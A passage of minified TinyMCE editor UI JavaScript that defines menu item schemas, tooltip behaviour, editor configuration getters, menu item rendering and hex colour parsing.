'BUBBLE_TO_SANDBOX'; }(ItemResponse || (ItemResponse = {}))); var ItemResponse$1 = ItemResponse; var navClass = 'tox-menu-nav__js'; var selectableClass = 'tox-collection__item'; var colorClass = 'tox-swatch'; var presetClasses = { normal: navClass, color: colorClass }; var tickedClass = 'tox-collection__item--enabled'; var groupHeadingClass = 'tox-collection__group-heading'; var iconClass = 'tox-collection__item-icon'; var textClass = 'tox-collection__item-label'; var accessoryClass = 'tox-collection__item-accessory'; var caretClass = 'tox-collection__item-caret'; var checkmarkClass = 'tox-collection__item-checkmark'; var activeClass = 'tox-collection__item--active'; var containerClass = 'tox-collection__item-container'; var containerColumnClass = 'tox-collection__item-container--column'; var containerRowClass = 'tox-collection__item-container--row'; var containerAlignRightClass = 'tox-collection__item-container--align-right'; var containerAlignLeftClass = 'tox-collection__item-container--align-left'; var containerValignTopClass = 'tox-collection__item-container--valign-top'; var containerValignMiddleClass = 'tox-collection__item-container--valign-middle'; var containerValignBottomClass = 'tox-collection__item-container--valign-bottom'; var classForPreset = function (presets) { return get$e(presetClasses, presets).getOr(navClass); }; var forMenu = function (presets) { if (presets === 'color') { return 'tox-swatches'; } else { return 'tox-menu'; } }; var classes = function (presets) { return { backgroundMenu: 'tox-background-menu', selectedMenu: 'tox-selected-menu', selectedItem: 'tox-collection__item--active', hasIcons: 'tox-menu--has-icons', menu: forMenu(presets), tieredMenu: 'tox-tiered-menu' }; }; var markers = function (presets) { var menuClasses = classes(presets); return { backgroundMenu: menuClasses.backgroundMenu, selectedMenu: menuClasses.selectedMenu, menu: menuClasses.menu, selectedItem: menuClasses.selectedItem, item: classForPreset(presets) }; }; var dom$1 = function (hasIcons, columns, presets) { var menuClasses = classes(presets); return { tag: 'div', classes: flatten([ [ menuClasses.menu, 'tox-menu-' + columns + '-column' ], hasIcons ? [menuClasses.hasIcons] : [] ]) }; }; var components = [Menu.parts.items({})]; var part = function (hasIcons, columns, presets) { var menuClasses = classes(presets); var d = { tag: 'div', classes: flatten([[menuClasses.tieredMenu]]) }; return { dom: d, markers: markers(presets) }; }; var chunk = function (rowDom, numColumns) { return function (items) { var chunks = chunk$1(items, numColumns); return map$2(chunks, function (c) { return { dom: rowDom, components: c }; }); }; }; var forSwatch = function (columns) { return { dom: { tag: 'div', classes: [ 'tox-menu', 'tox-swatches-menu' ] }, components: [{ dom: { tag: 'div', classes: ['tox-swatches'] }, components: [Menu.parts.items({ preprocess: columns !== 'auto' ? chunk({ tag: 'div', classes: ['tox-swatches__row'] }, columns) : identity$1 })] }] }; }; var forToolbar = function (columns) { return { dom: { tag: 'div', classes: [ 'tox-menu', 'tox-collection', 'tox-collection--toolbar', 'tox-collection--toolbar-lg' ] }, components: [Menu.parts.items({ preprocess: chunk({ tag: 'div', classes: ['tox-collection__group'] }, columns) })] }; }; var preprocessCollection = function (items, isSeparator) { var allSplits = []; var currentSplit = []; each$1(items, function (item, i) { if (isSeparator(item, i)) { if (currentSplit.length > 0) { allSplits.push(currentSplit); } currentSplit = []; if (has$2(item.dom, 'innerHtml')) { currentSplit.push(item); } } else { currentSplit.push(item); } }); if (currentSplit.length > 0) { allSplits.push(currentSplit); } return map$2(allSplits, function (s) { return { dom: { tag: 'div', classes: ['tox-collection__group'] }, components: s }; }); }; var forCollection = function (columns, initItems, _hasIcons) { return { dom: { tag: 'div', classes: [ 'tox-menu', 'tox-collection' ].concat(columns === 1 ? ['tox-collection--list'] : ['tox-collection--grid']) }, components: [Menu.parts.items({ preprocess: function (items) { if (columns !== 'auto' && columns > 1) { return chunk({ tag: 'div', classes: ['tox-collection__group'] }, columns)(items); } else { return preprocessCollection(items, function (_item, i) { return initItems[i].type === 'separator'; }); } } })] }; }; var forHorizontalCollection = function (initItems, _hasIcons) { return { dom: { tag: 'div', classes: [ 'tox-collection', 'tox-collection--horizontal' ] }, components: [Menu.parts.items({ preprocess: function (items) { return preprocessCollection(items, function (_item, i) { return initItems[i].type === 'separator'; }); } })] }; }; var menuHasIcons = function (xs) { return exists(xs, function (item) { return 'icon' in item && item.icon !== undefined; }); }; var handleError = function (error) { console.error(formatError(error)); console.log(error); return Optional.none(); }; var createHorizontalPartialMenuWithAlloyItems = function (value, _hasIcons, items, _columns, _presets) { var structure = forHorizontalCollection(items); return { value: value, dom: structure.dom, components: structure.components, items: items }; }; var createPartialMenuWithAlloyItems = function (value, hasIcons, items, columns, presets) { if (presets === 'color') { var structure = forSwatch(columns); return { value: value, dom: structure.dom, components: structure.components, items: items }; } if (presets === 'normal' && columns === 'auto') { var structure = forCollection(columns, items); return { value: value, dom: structure.dom, components: structure.components, items: items }; } if (presets === 'normal' && columns === 1) { var structure = forCollection(1, items); return { value: value, dom: structure.dom, components: structure.components, items: items }; } if (presets === 'normal') { var structure = forCollection(columns, items); return { value: value, dom: structure.dom, components: structure.components, items: items }; } if (presets === 'listpreview' && columns !== 'auto') { var structure = forToolbar(columns); return { value: value, dom: structure.dom, components: structure.components, items: items }; } return { value: value, dom: dom$1(hasIcons, columns, presets), components: components, items: items }; }; var cardImageFields = [ requiredString('type'), requiredString('src'), optionString('alt'), defaultedArrayOf('classes', [], string) ]; var cardImageSchema = objOf(cardImageFields); var cardTextFields = [ requiredString('type'), requiredString('text'), optionString('name'), defaultedArrayOf('classes', ['tox-collection__item-label'], string) ]; var cardTextSchema = objOf(cardTextFields); var itemSchema$1 = valueThunk(function () { return choose$2('type', { cardimage: cardImageSchema, cardtext: cardTextSchema, cardcontainer: cardContainerSchema }); }); var cardContainerSchema = objOf([ requiredString('type'), defaultedString('direction', 'horizontal'), defaultedString('align', 'left'), defaultedString('valign', 'middle'), requiredArrayOf('items', itemSchema$1) ]); var commonMenuItemFields = [ defaultedBoolean('disabled', false), optionString('text'), optionString('shortcut'), field$1('value', 'value', defaultedThunk(function () { return generate$6('menuitem-value'); }), anyValue()), defaulted('meta', {}) ]; var cardMenuItemSchema = objOf([ requiredString('type'), optionString('label'), requiredArrayOf('items', itemSchema$1), defaultedFunction('onSetup', function () { return noop; }), defaultedFunction('onAction', noop) ].concat(commonMenuItemFields)); var createCardMenuItem = function (spec) { return asRaw('cardmenuitem', cardMenuItemSchema, spec); }; var choiceMenuItemSchema = objOf([ requiredString('type'), defaultedBoolean('active', false), optionString('icon') ].concat(commonMenuItemFields)); var createChoiceMenuItem = function (spec) { return asRaw('choicemenuitem', choiceMenuItemSchema, spec); }; var baseFields = [ requiredString('type'), requiredString('fancytype'), defaultedFunction('onAction', noop) ]; var insertTableFields = [defaulted('initData', {})].concat(baseFields); var colorSwatchFields = [defaultedObjOf('initData', {}, [ defaultedBoolean('allowCustomColors', true), optionArrayOf('colors', anyValue()) ])].concat(baseFields); var fancyMenuItemSchema = choose$1('fancytype', { inserttable: insertTableFields, colorswatch: colorSwatchFields }); var createFancyMenuItem = function (spec) { return asRaw('fancymenuitem', fancyMenuItemSchema, spec); }; var menuItemSchema = objOf([ requiredString('type'), defaultedFunction('onSetup', function () { return noop; }), defaultedFunction('onAction', noop), optionString('icon') ].concat(commonMenuItemFields)); var createMenuItem = function (spec) { return asRaw('menuitem', menuItemSchema, spec); }; var nestedMenuItemSchema = objOf([ requiredString('type'), requiredFunction('getSubmenuItems'), defaultedFunction('onSetup', function () { return noop; }), optionString('icon') ].concat(commonMenuItemFields)); var createNestedMenuItem = function (spec) { return asRaw('nestedmenuitem', nestedMenuItemSchema, spec); }; var toggleMenuItemSchema = objOf([ requiredString('type'), optionString('icon'), defaultedBoolean('active', false), defaultedFunction('onSetup', function () { return noop; }), requiredFunction('onAction') ].concat(commonMenuItemFields)); var createToggleMenuItem = function (spec) { return asRaw('togglemenuitem', toggleMenuItemSchema, spec); }; var detectSize = function (comp, margin, selectorClass) { var descendants$1 = descendants(comp.element, '.' + selectorClass); if (descendants$1.length > 0) { var columnLength = findIndex$1(descendants$1, function (c) { var thisTop = c.dom.getBoundingClientRect().top; var cTop = descendants$1[0].dom.getBoundingClientRect().top; return Math.abs(thisTop - cTop) > margin; }).getOr(descendants$1.length); return Optional.some({ numColumns: columnLength, numRows: Math.ceil(descendants$1.length / columnLength) }); } else { return Optional.none(); } }; var namedEvents = function (name, handlers) { return derive$1([config(name, handlers)]); }; var unnamedEvents = function (handlers) { return namedEvents(generate$6('unnamed-events'), handlers); }; var SimpleBehaviours = { namedEvents: namedEvents, unnamedEvents: unnamedEvents }; var ExclusivityChannel = generate$6('tooltip.exclusive'); var ShowTooltipEvent = generate$6('tooltip.show'); var HideTooltipEvent = generate$6('tooltip.hide'); var hideAllExclusive = function (component, _tConfig, _tState) { component.getSystem().broadcastOn([ExclusivityChannel], {}); }; var setComponents = function (component, tConfig, tState, specs) { tState.getTooltip().each(function (tooltip) { if (tooltip.getSystem().isConnected()) { Replacing.set(tooltip, specs); } }); }; var TooltippingApis = /*#__PURE__*/Object.freeze({ __proto__: null, hideAllExclusive: hideAllExclusive, setComponents: setComponents }); var events$9 = function (tooltipConfig, state) { var hide = function (comp) { state.getTooltip().each(function (p) { detach(p); tooltipConfig.onHide(comp, p); state.clearTooltip(); }); state.clearTimer(); }; var show = function (comp) { if (!state.isShowing()) { hideAllExclusive(comp); var sink = tooltipConfig.lazySink(comp).getOrDie(); var popup = comp.getSystem().build({ dom: tooltipConfig.tooltipDom, components: tooltipConfig.tooltipComponents, events: derive$2(tooltipConfig.mode === 'normal' ? [ run$1(mouseover(), function (_) { emit(comp, ShowTooltipEvent); }), run$1(mouseout(), function (_) { emit(comp, HideTooltipEvent); }) ] : []), behaviours: derive$1([Replacing.config({})]) }); state.setTooltip(popup); attach(sink, popup); tooltipConfig.onShow(comp, popup); Positioning.position(sink, popup, { anchor: tooltipConfig.anchor(comp) }); } }; return derive$2(flatten([ [ run$1(ShowTooltipEvent, function (comp) { state.resetTimer(function () { show(comp); }, tooltipConfig.delay); }), run$1(HideTooltipEvent, function (comp) { state.resetTimer(function () { hide(comp); }, tooltipConfig.delay); }), run$1(receive(), function (comp, message) { var receivingData = message; if (!receivingData.universal) { if (contains$2(receivingData.channels, ExclusivityChannel)) { hide(comp); } } }), runOnDetached(function (comp) { hide(comp); }) ], tooltipConfig.mode === 'normal' ? [ run$1(focusin(), function (comp) { emit(comp, ShowTooltipEvent); }), run$1(postBlur(), function (comp) { emit(comp, HideTooltipEvent); }), run$1(mouseover(), function (comp) { emit(comp, ShowTooltipEvent); }), run$1(mouseout(), function (comp) { emit(comp, HideTooltipEvent); }) ] : [ run$1(highlight$1(), function (comp, _se) { emit(comp, ShowTooltipEvent); }), run$1(dehighlight$1(), function (comp) { emit(comp, HideTooltipEvent); }) ] ])); }; var ActiveTooltipping = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$9 }); var TooltippingSchema = [ required$1('lazySink'), required$1('tooltipDom'), defaulted('exclusive', true), defaulted('tooltipComponents', []), defaulted('delay', 300), defaultedStringEnum('mode', 'normal', [ 'normal', 'follow-highlight' ]), defaulted('anchor', function (comp) { return { type: 'hotspot', hotspot: comp, layouts: { onLtr: constant$1([ south$2, north$2, southeast$2, northeast$2, southwest$2, northwest$2 ]), onRtl: constant$1([ south$2, north$2, southeast$2, northeast$2, southwest$2, northwest$2 ]) } }; }), onHandler('onHide'), onHandler('onShow') ]; var init$b = function () { var timer = value$1(); var popup = value$1(); var clearTimer = function () { timer.on(clearTimeout); }; var resetTimer = function (f, delay) { clearTimer(); timer.set(setTimeout(f, delay)); }; var readState = constant$1('not-implemented'); return nu$8({ getTooltip: popup.get, isShowing: popup.isSet, setTooltip: popup.set, clearTooltip: popup.clear, clearTimer: clearTimer, resetTimer: resetTimer, readState: readState }); }; var TooltippingState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$b }); var Tooltipping = create$7({ fields: TooltippingSchema, name: 'tooltipping', active: ActiveTooltipping, state: TooltippingState, apis: TooltippingApis }); var escape = function (text) { return text.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); }; var global$b = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var global$a = tinymce.util.Tools.resolve('tinymce.EditorManager'); var getSkinUrl = function (editor) { var skin = editor.getParam('skin'); var skinUrl = editor.getParam('skin_url'); if (skin !== false) { var skinName = skin ? skin : 'oxide'; if (skinUrl) { skinUrl = editor.documentBaseURI.toAbsolute(skinUrl); } else { skinUrl = global$a.baseURL + '/skins/ui/' + skinName; } } return skinUrl; }; var isReadOnly = function (editor) { return editor.getParam('readonly', false, 'boolean'); }; var isSkinDisabled = function (editor) { return editor.getParam('skin') === false; }; var getHeightSetting = function (editor) { return editor.getParam('height', Math.max(editor.getElement().offsetHeight, 200)); }; var getWidthSetting = function (editor) { return editor.getParam('width', global$b.DOM.getStyle(editor.getElement(), 'width')); }; var getMinWidthSetting = function (editor) { return Optional.from(editor.getParam('min_width')).filter(isNumber); }; var getMinHeightSetting = function (editor) { return Optional.from(editor.getParam('min_height')).filter(isNumber); }; var getMaxWidthSetting = function (editor) { return Optional.from(editor.getParam('max_width')).filter(isNumber); }; var getMaxHeightSetting = function (editor) { return Optional.from(editor.getParam('max_height')).filter(isNumber); }; var getUserStyleFormats = function (editor) { return Optional.from(editor.getParam('style_formats')).filter(isArray); }; var isMergeStyleFormats = function (editor) { return editor.getParam('style_formats_merge', false, 'boolean'); }; var getLineHeightFormats = function (editor) { return editor.getParam('lineheight_formats', '1 1.1 1.2 1.3 1.4 1.5 2', 'string').split(' '); }; var getContentLanguages = function (editor) { return editor.getParam('content_langs', undefined, 'array'); }; var getRemovedMenuItems = function (editor) { return editor.getParam('removed_menuitems', ''); }; var isMenubarEnabled = function (editor) { return editor.getParam('menubar', true, 'boolean') !== false; }; var isToolbarEnabled = function (editor) { var toolbar = editor.getParam('toolbar', true); var isToolbarTrue = toolbar === true; var isToolbarString = isString(toolbar); var isToolbarObjectArray = isArray(toolbar) && toolbar.length > 0; return !isMultipleToolbars(editor) && (isToolbarObjectArray || isToolbarString || isToolbarTrue); }; var getMultipleToolbarsSetting = function (editor) { var toolbars = range$2(9, function (num) { return editor.getParam('toolbar' + (num + 1), false, 'string'); }); var toolbarArray = filter$2(toolbars, function (toolbar) { return typeof toolbar === 'string'; }); return toolbarArray.length > 0 ? Optional.some(toolbarArray) : Optional.none(); }; var isMultipleToolbars = function (editor) { return getMultipleToolbarsSetting(editor).fold(function () { var toolbar = editor.getParam('toolbar', [], 'string[]'); return toolbar.length > 0; }, always); }; var ToolbarMode; (function (ToolbarMode) { ToolbarMode['default'] = 'wrap'; ToolbarMode['floating'] = 'floating'; ToolbarMode['sliding'] = 'sliding'; ToolbarMode['scrolling'] = 'scrolling'; }(ToolbarMode || (ToolbarMode = {}))); var getToolbarMode = function (editor) { return editor.getParam('toolbar_mode', '', 'string'); }; var ToolbarLocation; (function (ToolbarLocation) { ToolbarLocation['auto'] = 'auto'; ToolbarLocation['top'] = 'top'; ToolbarLocation['bottom'] = 'bottom'; }(ToolbarLocation || (ToolbarLocation = {}))); var getToolbarGroups = function (editor) { return editor.getParam('toolbar_groups', {}, 'object'); }; var getToolbarLocation = function (editor) { return editor.getParam('toolbar_location', ToolbarLocation.auto, 'string'); }; var isToolbarLocationBottom = function (editor) { return getToolbarLocation(editor) === ToolbarLocation.bottom; }; var fixedContainerSelector = function (editor) { return editor.getParam('fixed_toolbar_container', '', 'string'); }; var fixedToolbarContainerTarget = function (editor) { return editor.getParam('fixed_toolbar_container_target'); }; var isToolbarPersist = function (editor) { return editor.getParam('toolbar_persist', false, 'boolean'); }; var fixedContainerTarget = function (editor) { if (!editor.inline) { return Optional.none(); } var selector = fixedContainerSelector(editor); if (selector.length > 0) { return descendant(body(), selector); } var element = fixedToolbarContainerTarget(editor); if (isNonNullable(element)) { return Optional.some(SugarElement.fromDom(element)); } return Optional.none(); }; var useFixedContainer = function (editor) { return editor.inline && fixedContainerTarget(editor).isSome(); }; var getUiContainer = function (editor) { var fixedContainer = fixedContainerTarget(editor); return fixedContainer.getOrThunk(function () { return getContentContainer(getRootNode(SugarElement.fromDom(editor.getElement()))); }); }; var isDistractionFree = function (editor) { return editor.inline && !isMenubarEnabled(editor) && !isToolbarEnabled(editor) && !isMultipleToolbars(editor); }; var isStickyToolbar = function (editor) { var isStickyToolbar = editor.getParam('toolbar_sticky', false, 'boolean'); return (isStickyToolbar || editor.inline) && !useFixedContainer(editor) && !isDistractionFree(editor); }; var getStickyToolbarOffset = function (editor) { return editor.getParam('toolbar_sticky_offset', 0, 'number'); }; var isDraggableModal$1 = function (editor) { return editor.getParam('draggable_modal', false, 'boolean'); }; var getMenus = function (editor) { var menu = editor.getParam('menu'); if (menu) { return map$1(menu, function (menu) { return __assign(__assign({}, menu), { items: menu.items }); }); } else { return {}; } }; var getMenubar = function (editor) { return editor.getParam('menubar'); }; var getToolbar = function (editor) { return editor.getParam('toolbar', true); }; var getFilePickerCallback = function (editor) { return editor.getParam('file_picker_callback'); }; var getFilePickerTypes = function (editor) { return editor.getParam('file_picker_types'); }; var getFileBrowserCallbackTypes = function (editor) { return editor.getParam('file_browser_callback_types'); }; var noTypeaheadUrls = function (editor) { return editor.getParam('typeahead_urls') === false; }; var getAnchorTop = function (editor) { return editor.getParam('anchor_top', '#top'); }; var getAnchorBottom = function (editor) { return editor.getParam('anchor_bottom', '#bottom'); }; var getFilePickerValidatorHandler = function (editor) { var handler = editor.getParam('file_picker_validator_handler', undefined, 'function'); if (handler === undefined) { return editor.getParam('filepicker_validator_handler', undefined, 'function'); } else { return handler; } }; var ReadOnlyChannel = 'silver.readonly'; var ReadOnlyDataSchema = objOf([requiredBoolean('readonly')]); var broadcastReadonly = function (uiComponents, readonly) { var outerContainer = uiComponents.outerContainer; var target = outerContainer.element; if (readonly) { uiComponents.mothership.broadcastOn([dismissPopups()], { target: target }); uiComponents.uiMothership.broadcastOn([dismissPopups()], { target: target }); } uiComponents.mothership.broadcastOn([ReadOnlyChannel], { readonly: readonly }); uiComponents.uiMothership.broadcastOn([ReadOnlyChannel], { readonly: readonly }); }; var setupReadonlyModeSwitch = function (editor, uiComponents) { editor.on('init', function () { if (editor.mode.isReadOnly()) { broadcastReadonly(uiComponents, true); } }); editor.on('SwitchMode', function () { return broadcastReadonly(uiComponents, editor.mode.isReadOnly()); }); if (isReadOnly(editor)) { editor.setMode('readonly'); } }; var receivingConfig = function () { var _a; return Receiving.config({ channels: (_a = {}, _a[ReadOnlyChannel] = { schema: ReadOnlyDataSchema, onReceive: function (comp, data) { Disabling.set(comp, data.readonly); } }, _a) }); }; var item = function (disabled) { return Disabling.config({ disabled: disabled, disableClass: 'tox-collection__item--state-disabled' }); }; var button = function (disabled) { return Disabling.config({ disabled: disabled }); }; var splitButton = function (disabled) { return Disabling.config({ disabled: disabled, disableClass: 'tox-tbtn--disabled' }); }; var toolbarButton = function (disabled) { return Disabling.config({ disabled: disabled, disableClass: 'tox-tbtn--disabled', useNative: false }); }; var DisablingConfigs = { item: item, button: button, splitButton: splitButton, toolbarButton: toolbarButton }; var runWithApi = function (info, comp) { var api = info.getApi(comp); return function (f) { f(api); }; }; var onControlAttached = function (info, editorOffCell) { return runOnAttached(function (comp) { var run = runWithApi(info, comp); run(function (api) { var onDestroy = info.onSetup(api); if (isFunction(onDestroy)) { editorOffCell.set(onDestroy); } }); }); }; var onControlDetached = function (getApi, editorOffCell) { return runOnDetached(function (comp) { return runWithApi(getApi, comp)(editorOffCell.get()); }); }; var _a$1; var onMenuItemExecute = function (info, itemResponse) { return runOnExecute$1(function (comp, simulatedEvent) { runWithApi(info, comp)(info.onAction); if (!info.triggersSubmenu && itemResponse === ItemResponse$1.CLOSE_ON_EXECUTE) { emit(comp, sandboxClose()); simulatedEvent.stop(); } }); }; var menuItemEventOrder = (_a$1 = {}, _a$1[execute$5()] = [ 'disabling', 'alloy.base.behaviour', 'toggling', 'item-events' ], _a$1); var componentRenderPipeline = cat; var renderCommonItem = function (spec, structure, itemResponse, providersbackstage) { var editorOffCell = Cell(noop); return { type: 'item', dom: structure.dom, components: componentRenderPipeline(structure.optComponents), data: spec.data, eventOrder: menuItemEventOrder, hasSubmenu: spec.triggersSubmenu, itemBehaviours: derive$1([ config('item-events', [ onMenuItemExecute(spec, itemResponse), onControlAttached(spec, editorOffCell), onControlDetached(spec, editorOffCell) ]), DisablingConfigs.item(function () { return spec.disabled || providersbackstage.isDisabled(); }), receivingConfig(), Replacing.config({}) ].concat(spec.itemBehaviours)) }; }; var buildData = function (source) { return { value: source.value, meta: __assign({ text: source.text.getOr('') }, source.meta) }; }; var global$9 = tinymce.util.Tools.resolve('tinymce.Env'); var convertText = function (source) { var mac = { alt: '⌥', ctrl: '⌃', shift: '⇧', meta: '⌘', access: '⌃⌥' }; var other = { meta: 'Ctrl', access: 'Shift+Alt' }; var replace = global$9.mac ? mac : other; var shortcut = source.split('+'); var updated = map$2(shortcut, function (segment) { var search = segment.toLowerCase().trim(); return has$2(replace, search) ? replace[search] : segment; }); return global$9.mac ? updated.join('') : updated.join('+'); }; var renderIcon$1 = function (name, icons, classes) { if (classes === void 0) { classes = [iconClass]; } return render$3(name, { tag: 'div', classes: classes }, icons); }; var renderText = function (text$1) { return { dom: { tag: 'div', classes: [textClass] }, components: [text(global$e.translate(text$1))] }; }; var renderHtml = function (html, classes) { return { dom: { tag: 'div', classes: classes, innerHtml: html } }; }; var renderStyledText = function (style, text$1) { return { dom: { tag: 'div', classes: [textClass] }, components: [{ dom: { tag: style.tag, styles: style.styles }, components: [text(global$e.translate(text$1))] }] }; }; var renderShortcut = function (shortcut) { return { dom: { tag: 'div', classes: [accessoryClass], innerHtml: convertText(shortcut) } }; }; var renderCheckmark = function (icons) { return renderIcon$1('checkmark', icons, [checkmarkClass]); }; var renderSubmenuCaret = function (icons) { return renderIcon$1('chevron-right', icons, [caretClass]); }; var renderDownwardsCaret = function (icons) { return renderIcon$1('chevron-down', icons, [caretClass]); }; var renderContainer = function (container, components) { var directionClass = container.direction === 'vertical' ? containerColumnClass : containerRowClass; var alignClass = container.align === 'left' ? containerAlignLeftClass : containerAlignRightClass; var getValignClass = function () { switch (container.valign) { case 'top': return containerValignTopClass; case 'middle': return containerValignMiddleClass; case 'bottom': return containerValignBottomClass; } }; return { dom: { tag: 'div', classes: [ containerClass, directionClass, alignClass, getValignClass() ] }, components: components }; }; var renderImage = function (src, classes, alt) { return { dom: { tag: 'img', classes: classes, attributes: { src: src, alt: alt.getOr('') } } }; }; var renderColorStructure = function (item, providerBackstage, fallbackIcon) { var colorPickerCommand = 'custom'; var removeColorCommand = 'remove'; var itemText = item.ariaLabel; var itemValue = item.value; var iconSvg = item.iconContent.map(function (name) { return getOr(name, providerBackstage.icons, fallbackIcon); }); var getDom = function () { var common = colorClass; var icon = iconSvg.getOr(''); var attributes = itemText.map(function (text) { return { title: providerBackstage.translate(text) }; }).getOr({}); var baseDom = { tag: 'div', attributes: attributes, classes: [common] }; if (itemValue === colorPickerCommand) { return __assign(__assign({}, baseDom), { tag: 'button', classes: __spreadArray(__spreadArray([], baseDom.classes, true), ['tox-swatches__picker-btn'], false), innerHtml: icon }); } else if (itemValue === removeColorCommand) { return __assign(__assign({}, baseDom), { classes: __spreadArray(__spreadArray([], baseDom.classes, true), ['tox-swatch--remove'], false), innerHtml: icon }); } else { return __assign(__assign({}, baseDom), { attributes: __assign(__assign({}, baseDom.attributes), { 'data-mce-color': itemValue }), styles: { 'background-color': itemValue } }); } }; return { dom: getDom(), optComponents: [] }; }; var renderItemDomStructure = function (ariaLabel) { var domTitle = ariaLabel.map(function (label) { return { attributes: { title: global$e.translate(label) } }; }).getOr({}); return __assign({ tag: 'div', classes: [ navClass, selectableClass ] }, domTitle); }; var renderNormalItemStructure = function (info, providersBackstage, renderIcons, fallbackIcon) { var iconSpec = { tag: 'div', classes: [iconClass] }; var renderIcon = function (iconName) { return render$3(iconName, iconSpec, providersBackstage.icons, fallbackIcon); }; var renderEmptyIcon = function () { return Optional.some({ dom: iconSpec }); }; var leftIcon = renderIcons ? info.iconContent.map(renderIcon).orThunk(renderEmptyIcon) : Optional.none(); var checkmark = info.checkMark; var textRender = Optional.from(info.meta).fold(function () { return renderText; }, function (meta) { return has$2(meta, 'style') ? curry(renderStyledText, meta.style) : renderText; }); var content = info.htmlContent.fold(function () { return info.textContent.map(textRender); }, function (html) { return Optional.some(renderHtml(html, [textClass])); }); var menuItem = { dom: renderItemDomStructure(info.ariaLabel), optComponents: [ leftIcon, content, info.shortcutContent.map(renderShortcut), checkmark, info.caret ] }; return menuItem; }; var renderItemStructure = function (info, providersBackstage, renderIcons, fallbackIcon) { if (fallbackIcon === void 0) { fallbackIcon = Optional.none(); } if (info.presets === 'color') { return renderColorStructure(info, providersBackstage, fallbackIcon); } else { return renderNormalItemStructure(info, providersBackstage, renderIcons, fallbackIcon); } }; var tooltipBehaviour = function (meta, sharedBackstage) { return get$e(meta, 'tooltipWorker').map(function (tooltipWorker) { return [Tooltipping.config({ lazySink: sharedBackstage.getSink, tooltipDom: { tag: 'div', classes: ['tox-tooltip-worker-container'] }, tooltipComponents: [], anchor: function (comp) { return { type: 'submenu', item: comp, overrides: { maxHeightFunction: expandable$1 } }; }, mode: 'follow-highlight', onShow: function (component, _tooltip) { tooltipWorker(function (elm) { Tooltipping.setComponents(component, [external$2({ element: SugarElement.fromDom(elm) })]); }); } })]; }).getOr([]); }; var encodeText = function (text) { return global$b.DOM.encode(text); }; var replaceText = function (text, matchText) { var translated = global$e.translate(text); var encoded = encodeText(translated); if (matchText.length > 0) { var escapedMatchRegex = new RegExp(escape(matchText), 'gi'); return encoded.replace(escapedMatchRegex, function (match) { return '' + match + ''; }); } else { return encoded; } }; var renderAutocompleteItem = function (spec, matchText, useText, presets, onItemValueHandler, itemResponse, sharedBackstage, renderIcons) { if (renderIcons === void 0) { renderIcons = true; } var structure = renderItemStructure({ presets: presets, textContent: Optional.none(), htmlContent: useText ? spec.text.map(function (text) { return replaceText(text, matchText); }) : Optional.none(), ariaLabel: spec.text, iconContent: spec.icon, shortcutContent: Optional.none(), checkMark: Optional.none(), caret: Optional.none(), value: spec.value }, sharedBackstage.providers, renderIcons, spec.icon); return renderCommonItem({ data: buildData(spec), disabled: spec.disabled, getApi: constant$1({}), onAction: function (_api) { return onItemValueHandler(spec.value, spec.meta); }, onSetup: constant$1(noop), triggersSubmenu: false, itemBehaviours: tooltipBehaviour(spec.meta, sharedBackstage) }, structure, itemResponse, sharedBackstage.providers); }; var render$2 = function (items, extras) { return map$2(items, function (item) { switch (item.type) { case 'cardcontainer': return renderContainer(item, render$2(item.items, extras)); case 'cardimage': return renderImage(item.src, item.classes, item.alt); case 'cardtext': var shouldHighlight = item.name.exists(function (name) { return contains$2(extras.cardText.highlightOn, name); }); var matchText = shouldHighlight ? Optional.from(extras.cardText.matchText).getOr('') : ''; return renderHtml(replaceText(item.text, matchText), item.classes); } }); }; var renderCardMenuItem = function (spec, itemResponse, sharedBackstage, extras) { var getApi = function (component) { return { isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { Disabling.set(component, state); each$1(descendants(component.element, '*'), function (elm) { component.getSystem().getByDom(elm).each(function (comp) { if (comp.hasConfigured(Disabling)) { Disabling.set(comp, state); } }); }); } }; }; var structure = { dom: renderItemDomStructure(spec.label), optComponents: [Optional.some({ dom: { tag: 'div', classes: [ containerClass, containerRowClass ] }, components: render$2(spec.items, extras) })] }; return renderCommonItem({ data: buildData(__assign({ text: Optional.none() }, spec)), disabled: spec.disabled, getApi: getApi, onAction: spec.onAction, onSetup: spec.onSetup, triggersSubmenu: false, itemBehaviours: Optional.from(extras.itemBehaviours).getOr([]) }, structure, itemResponse, sharedBackstage.providers); }; var renderChoiceItem = function (spec, useText, presets, onItemValueHandler, isSelected, itemResponse, providersBackstage, renderIcons) { if (renderIcons === void 0) { renderIcons = true; } var getApi = function (component) { return { setActive: function (state) { Toggling.set(component, state); }, isActive: function () { return Toggling.isOn(component); }, isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { return Disabling.set(component, state); } }; }; var structure = renderItemStructure({ presets: presets, textContent: useText ? spec.text : Optional.none(), htmlContent: Optional.none(), ariaLabel: spec.text, iconContent: spec.icon, shortcutContent: useText ? spec.shortcut : Optional.none(), checkMark: useText ? Optional.some(renderCheckmark(providersBackstage.icons)) : Optional.none(), caret: Optional.none(), value: spec.value }, providersBackstage, renderIcons); return deepMerge(renderCommonItem({ data: buildData(spec), disabled: spec.disabled, getApi: getApi, onAction: function (_api) { return onItemValueHandler(spec.value); }, onSetup: function (api) { api.setActive(isSelected); return noop; }, triggersSubmenu: false, itemBehaviours: [] }, structure, itemResponse, providersBackstage), { toggling: { toggleClass: tickedClass, toggleOnExecute: false, selected: spec.active } }); }; var parts$f = generate$3(owner$2(), parts$h()); var hexColour = function (value) { return { value: value }; }; var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i; var longformRegex = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i; var isHexString = function (hex) { return shorthandRegex.test(hex) || longformRegex.test(hex); }; var normalizeHex = function (hex) { return removeLeading(hex, '#').toUpperCase(); }; var fromString$1 = function (hex) { return isHexString(hex) ? Optional.some({ value: normalizeHex(hex) }) : Optional.none(); }; var getLongForm = function (hex) { var hexString = hex.value.replace(shorthandRegex, function (m, r, g, b) { return r + r + g + g + b + b; }); return { value: hexString }; }; var extractValues = function (hex) { var longForm = getLongForm(hex); var splitForm = longformRegex.exec(longForm.value); return splitForm === null ? [ 'FFFFFF', 'FF', 'FF', 'FF' ] : splitForm; }; var toHex = function (component) { var hex = component.toString(16); return (hex.length === 1 ? '0' + hex : hex).toUpperCase(); }; var fromRgba = function (rgbaColour) { var value = toHex(rgbaColour.red) + 